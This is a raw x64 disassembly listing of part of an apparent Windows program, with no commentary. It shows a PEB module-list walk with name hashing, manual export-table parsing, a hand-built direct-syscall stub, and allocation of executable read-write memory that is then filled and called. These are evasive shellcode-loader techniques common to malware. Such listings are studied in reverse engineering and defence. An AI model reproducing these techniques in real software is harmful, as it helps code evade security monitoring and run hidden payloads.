mov r8, qword [rsp + 0x5210]
mov rdx, qword [rsp + 0x7d18]
lea rcx, [rsp + 0x7d20]
call fcn.14006f260
lea rax, [rsp + 0x7d20]
mov qword [rsp + 0x7d28], rax
mov rax, qword [rsp + 0x7d28]
mov rax, qword [rax]
cmp qword [rsp + 0x5218], rax
jne 0x1401252c6
mov dword [rsp + 0x7e8], 1
jmp 0x1401252d1
mov dword [rsp + 0x7e8], 0
movzx eax, byte [rsp + 0x7e8]
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0xd8]
test eax, eax
je 0x1401252fa
mov qword [rsp + 0x5220], 0
jmp 0x140125362
mov rax, qword [rsp + 0x5218]
add rax, 0x10
mov qword [rsp + 0x7d30], rax
mov rax, qword [rsp + 0x7d30]
mov qword [rsp + 0x7d38], rax
mov rax, qword [rsp + 0x7d38]
mov qword [rsp + 0x7d40], rax
mov rax, qword [rsp + 0x7d40]
mov qword [rsp + 0x7d48], rax
mov rax, qword [rsp + 0x7d48]
mov qword [rsp + 0x7d50], rax
mov rax, qword [rsp + 0x7d50]
mov rax, qword [rax + 8]
mov qword [rsp + 0x5220], rax
mov rax, qword [rsp + 0x5220]
mov qword [rsp + 0x7d60], rax
movzx eax, byte [rsp + 0xd198]
test eax, eax
je 0x14012539e
mov rax, qword [rsp + 0xd190]
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x7d58]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x7d60]
mov qword [rsp + 0x5228], rax
cmp qword [rsp + 0x5228], 0
je 0x1401253de
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax + 4]
mov dword [rsp + 0x16b0], eax
mov eax, dword [rsp + 0x16b0]
mov dword [rsp + 0x62d4], eax
jmp 0x1401260bb
lea rax, [rsp + 0xcf38]
mov qword [rsp + 0x5230], rax
mov rax, qword [rsp + 0x5230]
mov dword [rax], 0
mov rax, qword [rsp + 0x5230]
mov eax, dword [rax]
mov dword [rsp + 0x16c0], eax
lea rax, [rsp + 0xcf3c]
mov qword [rsp + 0x5238], rax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x16b8], eax
mov rax, qword [rsp + 0x5238]
mov ecx, dword [rsp + 0x16b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5238]
mov eax, dword [rax]
mov dword [rsp + 0x16c4], eax
mov eax, dword [rsp + 0x16c0]
mov dword [rsp + 0x7f8], eax
mov eax, dword [rsp + 0x16c4]
mov dword [rsp + 0x820], eax
mov dword [rsp + 0x16c8], 0
mov eax, dword [rsp + 0x16c8]
cmp dword [rsp + 0x820], eax
jne 0x140125498
xor eax, eax
cmp eax, 1
je 0x140125498
mov dword [rsp + 0x7ec], 1
jmp 0x1401254a3
mov dword [rsp + 0x7ec], 0
movzx eax, byte [rsp + 0x7ec]
mov byte [rsp + 0xd9], al
movzx eax, byte [rsp + 0xd9]
test eax, eax
je 0x1401254cf
mov qword [rsp + 0x11f8], 0
jmp 0x140125fd9
mov byte [rsp + 0x1ee], 1
mov qword [rsp + 0x6ce0], 0
mov qword [rsp + 0x6ce8], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7d68], rax
mov rax, qword [rsp + 0x7d68]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7d70], rax
mov rax, qword [rsp + 0x7d70]
add rax, 0x10
mov qword [rsp + 0x3c88], rax
mov eax, 1
test eax, eax
je 0x140125549
mov rax, qword [rsp + 0x3c88]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5240], rax
jmp 0x14012555c
mov rax, qword [rsp + 0x3c88]
mov rax, qword [rax]
mov qword [rsp + 0x5240], rax
mov rax, qword [rsp + 0x5240]
mov qword [rsp + 0x6ce0], rax
mov rax, qword [rsp + 0x3c88]
mov qword [rsp + 0x6ce8], rax
lea rax, [rsp + 0x6ce0]
mov qword [rsp + 0x5248], rax
mov rax, qword [rsp + 0x5248]
mov rax, qword [rax]
mov qword [rsp + 0x7d78], rax
mov rax, qword [rsp + 0x7d78]
mov qword [rsp + 0x11e8], rax
mov rax, qword [rsp + 0x5248]
mov rax, qword [rax + 8]
mov qword [rsp + 0x7d80], rax
mov rax, qword [rsp + 0x7d80]
mov qword [rsp + 0x7d88], rax
jmp 0x1401255e8
mov rax, qword [rsp + 0x11e8]
mov rax, qword [rax]
mov qword [rsp + 0x11e8], rax
mov rax, qword [rsp + 0x7d88]
cmp qword [rsp + 0x11e8], rax
je 0x140125607
mov dword [rsp + 0x7f0], 1
jmp 0x140125612
mov dword [rsp + 0x7f0], 0
movzx eax, byte [rsp + 0x7f0]
test eax, eax
je 0x140125fcd
xor eax, eax
mov qword [rsp + 0x7d90], rax
mov rax, qword [rsp + 0x7d90]
mov rcx, qword [rsp + 0x11e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d98], rax
lea rax, [rsp + 0x7d98]
mov qword [rsp + 0x5258], rax
mov dword [rsp + 0x16cc], 0
mov eax, dword [rsp + 0x16cc]
cmp dword [rsp + 0x7f8], eax
jne 0x140125689
xor eax, eax
cmp eax, 1
je 0x140125689
mov dword [rsp + 0x7f4], 1
jmp 0x140125694
mov dword [rsp + 0x7f4], 0
movzx eax, byte [rsp + 0x7f4]
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xda]
test eax, eax
jne 0x1401259d3
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7da0], rax
mov rax, qword [rsp + 0x7da0]
mov rax, qword [rax + 8]
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x5250]
mov qword [rsp + 0xd6e0], rax
mov rax, qword [rsp + 0x5250]
mov qword [rsp + 0x7da8], rax
mov qword [rsp + 0x11f0], 0xffffffffffffffff
inc qword [rsp + 0x11f0]
mov rax, qword [rsp + 0x7da8]
mov rcx, qword [rsp + 0x11f0]
cmp word [rax + rcx*2], 0
jne 0x14012570a
mov rax, qword [rsp + 0x11f0]
mov qword [rsp + 0x7db0], rax
mov rax, qword [rsp + 0x7db0]
mov qword [rsp + 0xd6e8], rax
lea rax, [rsp + 0xd6e0]
mov qword [rsp + 0x7db8], rax
lea rax, [rsp + 0xe370]
mov rdi, rax
mov rsi, qword [rsp + 0x7db8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x7f8]
mov dword [rsp + 0x16d0], eax
lea rax, [rsp + 0xd1a0]
lea rcx, [rsp + 0xe370]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x16d0]
mov dword [rsp + 0x810], eax
lea rax, [rsp + 0x800]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x800], 0x1b6e1b1e
lea rax, [rsp + 0x800]
mov qword [rsp + 0x7dc0], rax
lea rax, [rsp + 0xe380]
lea rcx, [rsp + 0xd1a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe390]
lea rcx, [rsp + 0xe380]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe390]
mov rcx, qword [rsp + 0x7dc0]
call fcn.140097890
mov dword [rsp + 0x16d4], eax
mov rax, qword [rsp + 0xd1a8]
mov qword [rsp + 0x7dc8], rax
mov rax, qword [rsp + 0x7dc8]
sub rax, 4
mov qword [rsp + 0x7dd0], rax
mov r9, qword [rsp + 0x7dd0]
xor r8d, r8d
lea rdx, [rsp + 0xe3a0]
lea rcx, [rsp + 0xd1a0]
call fcn.14019ab70
lea rax, [rsp + 0x804]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x804], 0x1b6e1b1e
lea rax, [rsp + 0x804]
mov qword [rsp + 0x7dd8], rax
lea rax, [rsp + 0xe3b0]
lea rcx, [rsp + 0xe3a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe3c0]
lea rcx, [rsp + 0xe3b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe3c0]
mov rcx, qword [rsp + 0x7dd8]
call fcn.140097890
mov dword [rsp + 0x16dc], eax
mov eax, dword [rsp + 0x16d4]
mov dword [rsp + 0x16d8], eax
mov eax, dword [rsp + 0x16d8]
cmp dword [rsp + 0x810], eax
jne 0x14012592c
xor eax, eax
cmp eax, 1
je 0x14012592c
mov dword [rsp + 0x808], 1
jmp 0x140125937
mov dword [rsp + 0x808], 0
movzx eax, byte [rsp + 0x808]
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0xdb]
test eax, eax
jne 0x1401259b7
mov eax, dword [rsp + 0x16dc]
mov dword [rsp + 0x16e0], eax
mov eax, dword [rsp + 0x16e0]
cmp dword [rsp + 0x810], eax
jne 0x140125984
xor eax, eax
cmp eax, 1
je 0x140125984
mov dword [rsp + 0x818], 1
jmp 0x14012598f
mov dword [rsp + 0x818], 0
movzx eax, byte [rsp + 0x818]
mov byte [rsp + 0xdc], al
movzx eax, byte [rsp + 0xdc]
test eax, eax
jne 0x1401259b7
mov dword [rsp + 0x81c], 1
jmp 0x1401259c2
mov dword [rsp + 0x81c], 0
movzx eax, byte [rsp + 0x81c]
test eax, eax
je 0x1401259d3
jmp 0x1401255d5
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5260], rax
mov rax, qword [rsp + 0x5260]
mov qword [rsp + 0x4340], rax
mov rax, qword [rsp + 0x5260]
mov qword [rsp + 0x7de0], rax
mov rax, qword [rsp + 0x7de0]
mov qword [rsp + 0x5268], rax
mov rax, qword [rsp + 0x5268]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x5268]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x7de8], rax
mov eax, dword [rsp + 0x7de8]
add rax, qword [rsp + 0x4340]
mov qword [rsp + 0x7df0], rax
mov rax, qword [rsp + 0x7df0]
mov qword [rsp + 0x4348], rax
mov eax, dword [rsp + 0x820]
mov dword [rsp + 0x16e4], eax
mov eax, dword [rsp + 0x16e4]
mov dword [rsp + 0x16e8], eax
lea rdx, [rsp + 0x13588]
lea rcx, [rsp + 0x4340]
call fcn.1401906d0
lea rcx, [rsp + 0x13230]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x135b0]
lea rcx, [rsp + 0x4340]
call fcn.14018ec60
lea rcx, [rsp + 0x13258]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x13280]
lea rcx, [rsp + 0x13230]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x132b0]
lea rcx, [rsp + 0x13258]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x16e8]
lea r8, [rsp + 0x13280]
lea rdx, [rsp + 0x132b0]
lea rcx, [rsp + 0x121c8]
call fcn.140097110
lea rdx, [rsp + 0x135d8]
lea rcx, [rsp + 0x4340]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x121c8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140125b64
jmp 0x1401255d5
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140125be7
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x121d8]
mov qword [rsp + 0x5270], rax
mov rcx, qword [rsp + 0x5270]
call fcn.140097960
mov qword [rsp + 0xddd0], rax
mov rcx, qword [rsp + 0x5270]
call fcn.140097950
mov qword [rsp + 0x3c98], rax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov qword [rsp + 0x5288], rax
mov rax, qword [rsp + 0x4340]
mov qword [rsp + 0x7df8], rax
mov rax, qword [rsp + 0x7df8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x7e00], rax
mov rax, qword [rsp + 0x7e00]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5278], rax
mov eax, dword [rsp + 0x5278]
add rax, qword [rsp + 0x4340]
mov qword [rsp + 0x5280], rax
mov eax, dword [rsp + 0x527c]
mov rcx, qword [rsp + 0x5280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x5280]
cmp qword [rsp + 0x5288], rax
jb 0x140125cd9
mov rax, qword [rsp + 0x7e08]
cmp qword [rsp + 0x5288], rax
jae 0x140125cd9
mov dword [rsp + 0x828], 1
jmp 0x140125ce4
mov dword [rsp + 0x828], 0
movzx eax, byte [rsp + 0x828]
mov byte [rsp + 0xdd], al
movzx eax, byte [rsp + 0xdd]
test eax, eax
je 0x140125fb3
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov qword [rsp + 0x7e10], rax
mov rax, qword [rsp + 0x7e10]
mov qword [rsp + 0x7e18], rax
lea rax, [rsp + 0x12318]
mov qword [rsp + 0x7e20], rax
mov rdx, qword [rsp + 0x7e18]
mov rcx, qword [rsp + 0x7e20]
call fcn.140095590
lea rcx, [rsp + 0x6cf0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6cf0]
call fcn.140191090
mov qword [rsp + 0x3c90], rax
cmp qword [rsp + 0x3c90], 0xffffffffffffffff
je 0x140125dee
mov r9, qword [rsp + 0x3c90]
xor r8d, r8d
lea rdx, [rsp + 0xe3e0]
lea rcx, [rsp + 0x6cf0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3c90]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe3d0]
lea rcx, [rsp + 0x6cf0]
call fcn.14019aaa0
lea r8, [rsp + 0xe3d0]
lea rdx, [rsp + 0xe3e0]
lea rcx, [rsp + 0x10f90]
call fcn.14008f7e0
jmp 0x140125e29
lea rax, [rsp + 0x6cf0]
mov qword [rsp + 0x7e28], rax
lea rcx, [rsp + 0xe3f0]
call fcn.140099fb0
lea r8, [rsp + 0xe3f0]
mov rdx, qword [rsp + 0x7e28]
lea rcx, [rsp + 0x10f90]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x10f90]
call fcn.140097960
mov qword [rsp + 0x7e30], rax
lea rcx, [rsp + 0x10f90]
call fcn.140097950
mov qword [rsp + 0x7e48], rax
lea rax, [rsp + 0xcf40]
mov qword [rsp + 0x7e40], rax
lea rax, [rsp + 0x16f0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x16f0]
call fcn.14009b310
mov qword [rsp + 0x7e38], rax
lea rax, [rsp + 0xe400]
mov rdi, rax
mov rsi, qword [rsp + 0x7e30]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe410]
lea rcx, [rsp + 0xe400]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe410]
mov rcx, qword [rsp + 0x7e38]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x7e40]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x16f8], eax
lea rax, [rsp + 0xcf44]
mov qword [rsp + 0x7e58], rax
lea rax, [rsp + 0x16f4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x16f4]
call fcn.14009b310
mov qword [rsp + 0x7e50], rax
lea rax, [rsp + 0xe420]
mov rdi, rax
mov rsi, qword [rsp + 0x7e48]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe430]
lea rcx, [rsp + 0xe420]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe430]
mov rcx, qword [rsp + 0x7e50]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x7e58]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x16fc], eax
mov r8d, dword [rsp + 0x16f8]
mov edx, dword [rsp + 0x16fc]
lea rcx, [rsp + 0x3ca0]
call fcn.140191150
mov qword [rsp + 0x11f8], rax
jmp 0x140125fd9
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov qword [rsp + 0x11f8], rax
jmp 0x140125fd9
mov qword [rsp + 0x11f8], 0
mov rax, qword [rsp + 0x11f8]
mov qword [rsp + 0x3ca0], rax
lea rcx, [rsp + 0x3ca0]
call fcn.1400a2c10
mov qword [rsp + 0x7e60], rax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x1700], eax
mov rax, qword [rsp + 0x7e60]
mov qword [rsp + 0x7e68], rax
mov eax, dword [rsp + 0x1700]
mov dword [rsp + 0x1708], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe440]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7e70], rax
lea r9, [rsp + 0x7e68]
lea r8, [rsp + 0x1708]
lea rdx, [rsp + 0x12328]
mov rcx, qword [rsp + 0x7e70]
call fcn.140098320
lea rcx, [rsp + 0xe440]
call fcn.1400a0f80
lea rcx, [rsp + 0x3ca0]
call fcn.1400a2c10
mov qword [rsp + 0x7e78], rax
mov rax, qword [rsp + 0x7e78]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1710], eax
mov eax, dword [rsp + 0x1710]
mov dword [rsp + 0x62d4], eax
lea rax, [rsp + 0x62d8]
mov qword [rsp + 0x7e80], rax
mov eax, dword [rsp + 0x62d4]
mov dword [rsp + 0x1718], eax
mov rax, qword [rsp + 0x7e80]
add rax, 0x11
mov qword [rsp + 0x7e88], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x7e88]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1718]
mov dword [rax], ecx
lea rax, [rsp + 0x62d8]
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x590]
add rax, 0x10
mov qword [rsp + 0xddd8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x7e90], rax
mov qword [rsp + 0x5290], 0
mov qword [rsp + 0x7e98], 0xd
mov rax, qword [rsp + 0x7e90]
mov qword [rsp + 0x7ea0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x7e98]
xor r8d, r8d
lea rdx, [rsp + 0x5290]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x7ea0]
mov dword [rsp + 0x1720], eax
cmp dword [rsp + 0x1720], 0
jl 0x1401261bd
mov rax, qword [rsp + 0x5290]
mov qword [rsp + 0x5298], rax
jmp 0x1401261c9
mov qword [rsp + 0x5298], 0
mov rax, qword [rsp + 0x5298]
mov qword [rsp + 0x7ea8], rax
mov rax, qword [rsp + 0x590]
mov rcx, qword [rsp + 0x7ea8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x590]
cmp qword [rax + 8], 0
jne 0x1401261fe
jmp 0x140126242
mov rax, qword [rsp + 0x590]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x590]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x590]
mov rcx, qword [rsp + 0x590]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x62d8]
mov qword [rsp + 0x7ec8], rax
mov r9, qword [rsp + 0x7eb0]
mov r8, qword [rsp + 0x7eb8]
mov rdx, qword [rsp + 0x7ec0]
mov ecx, dword [rsp + 0x1724]
call qword [rsp + 0x7ec8]
mov dword [rsp + 0x1728], eax
lea rcx, [rsp + 0x62d0]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1728]
mov dword [rsp + 0x154], eax
jmp 0x140122469
cmp dword [rsp + 0x154], 0
jl 0x1401262b8
cmp qword [rsp + 0x168], 0
jne 0x14012728d
cmp qword [rsp + 0x168], 0
je 0x140127280
mov qword [rsp + 0x7ed0], 0
mov dword [rsp + 0x176c], 0x8000
lea rax, [rsp + 0x7ed0]
mov qword [rsp + 0x7ee0], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x7ee8], rax
mov qword [rsp + 0x7ef0], 0xffffffffffffffff
mov dword [rsp + 0x172c], 0x4344a267
mov eax, dword [rsp + 0x172c]
mov dword [rsp + 0x1730], eax
lea rcx, [rsp + 0x1730]
call fcn.1400a2c20
mov dword [rsp + 0x62f8], eax
mov dword [rsp + 0x62fc], 0
lea rax, [rsp + 0x6300]
mov qword [rsp + 0x7ed8], rax
mov dword [rsp + 0x1768], 0x49
mov dword [rsp + 0x1764], 0x89
mov dword [rsp + 0x1760], 0xca
mov dword [rsp + 0x175c], 0x48
mov dword [rsp + 0x1758], 0xc7
mov dword [rsp + 0x1754], 0xc0
mov dword [rsp + 0x1750], 0x3f
mov dword [rsp + 0x174c], 0x10
mov dword [rsp + 0x1748], 0
mov dword [rsp + 0x1744], 0
mov dword [rsp + 0x1740], 0xf
mov dword [rsp + 0x173c], 5
mov dword [rsp + 0x1738], 0xc3
lea rax, [rsp + 0x1738]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x173c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1740]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1744]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1748]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x174c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1750]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1754]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1758]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x175c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1760]
lea r8, [rsp + 0x1764]
lea rdx, [rsp + 0x1768]
mov rcx, qword [rsp + 0x7ed8]
call fcn.14008f900
mov byte [rsp + 0x1ef], 1
mov byte [rsp + 0x1f0], 0
movsxd rax, dword [rsp + 0x176c]
mov qword [rsp + 0x8028], rax
mov byte [rsp + 0x1f1], 0
mov byte [rsp + 0x1f2], 0
mov rax, qword [rsp + 0x7ee0]
mov qword [rsp + 0x8030], rax
mov byte [rsp + 0x1f3], 0
mov byte [rsp + 0x1f4], 0
mov rax, qword [rsp + 0x7ee8]
mov qword [rsp + 0x8038], rax
mov byte [rsp + 0x1f5], 0
mov byte [rsp + 0x1f6], 0
mov rax, qword [rsp + 0x7ef0]
mov qword [rsp + 0x8040], rax
mov eax, dword [rsp + 0x62f8]
mov dword [rsp + 0x1770], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe450]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7ef8], rax
lea r8, [rsp + 0x1770]
lea rdx, [rsp + 0x52a0]
mov rcx, qword [rsp + 0x7ef8]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7f00], rax
lea rdx, [rsp + 0xdde0]
mov rcx, qword [rsp + 0x7f00]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x52a0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x1401265aa
mov qword [rsp + 0x52a8], 0
jmp 0x1401265c3
lea rcx, [rsp + 0x52a0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x52a8]
mov qword [rsp + 0x7f08], rax
lea rcx, [rsp + 0xe450]
call fcn.1400a0f10
mov rax, qword [rsp + 0x7f08]
mov qword [rsp + 0x52b0], rax
cmp qword [rsp + 0x52b0], 0
je 0x140126620
mov rax, qword [rsp + 0x52b0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1778], eax
mov eax, dword [rsp + 0x1778]
mov dword [rsp + 0x62fc], eax
jmp 0x1401270ae
lea rax, [rsp + 0xcf48]
mov qword [rsp + 0x7f10], rax
xor edx, edx
mov rcx, qword [rsp + 0x7f10]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x177c], eax
lea rax, [rsp + 0xcf4c]
mov qword [rsp + 0x7f18], rax
mov edx, dword [rsp + 0x62f8]
mov rcx, qword [rsp + 0x7f18]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1780], eax
mov eax, dword [rsp + 0x177c]
mov dword [rsp + 0x830], eax
mov eax, dword [rsp + 0x1780]
mov dword [rsp + 0x848], eax
xor edx, edx
lea rcx, [rsp + 0x1784]
call fcn.14009b2f0
lea rdx, [rsp + 0x1784]
lea rcx, [rsp + 0x848]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x1401266cd
mov qword [rsp + 0x1208], 0
jmp 0x140126fcc
mov byte [rsp + 0x1f7], 1
mov qword [rsp + 0x6d00], 0
mov qword [rsp + 0x6d08], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3ca8], rax
mov eax, 1
test eax, eax
je 0x14012671f
mov rax, qword [rsp + 0x3ca8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x52b8], rax
jmp 0x140126732
mov rax, qword [rsp + 0x3ca8]
mov rax, qword [rax]
mov qword [rsp + 0x52b8], rax
mov rax, qword [rsp + 0x52b8]
mov qword [rsp + 0x6d00], rax
mov rax, qword [rsp + 0x3ca8]
mov qword [rsp + 0x6d08], rax
lea rax, [rsp + 0x6d00]
mov qword [rsp + 0x52c0], rax
lea rdx, [rsp + 0x1200]
mov rcx, qword [rsp + 0x52c0]
call fcn.14018efb0
lea rdx, [rsp + 0x7f20]
mov rcx, qword [rsp + 0x52c0]
call fcn.140190a30
jmp 0x1401267a1
mov rax, qword [rsp + 0x1200]
mov rax, qword [rax]
mov qword [rsp + 0x1200], rax
mov rax, qword [rsp + 0x7f20]
cmp qword [rsp + 0x1200], rax
je 0x1401267c0
mov dword [rsp + 0x82c], 1
jmp 0x1401267cb
mov dword [rsp + 0x82c], 0
movzx eax, byte [rsp + 0x82c]
test eax, eax
je 0x140126fc0
xor edx, edx
mov rcx, qword [rsp + 0x1200]
call fcn.140096d90
mov qword [rsp + 0x7f28], rax
lea rax, [rsp + 0x7f28]
mov qword [rsp + 0x52c8], rax
xor edx, edx
lea rcx, [rsp + 0x1788]
call fcn.14009b2f0
lea rdx, [rsp + 0x1788]
lea rcx, [rsp + 0x830]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140126a6b
mov rax, qword [rsp + 0x52c8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7f30], rax
lea rdx, [rsp + 0x12338]
mov rcx, qword [rsp + 0x7f30]
call fcn.14019acf0
lea rcx, [rsp + 0xe460]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x830]
mov dword [rsp + 0x178c], eax
lea rax, [rsp + 0xd1b0]
lea rcx, [rsp + 0xe460]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x178c]
mov dword [rsp + 0x838], eax
lea rax, [rsp + 0x1790]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1790]
call fcn.14009b310
mov qword [rsp + 0x7f38], rax
lea rax, [rsp + 0xe470]
lea rcx, [rsp + 0xd1b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe480]
lea rcx, [rsp + 0xe470]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe480]
mov rcx, qword [rsp + 0x7f38]
call fcn.140097890
mov dword [rsp + 0x1798], eax
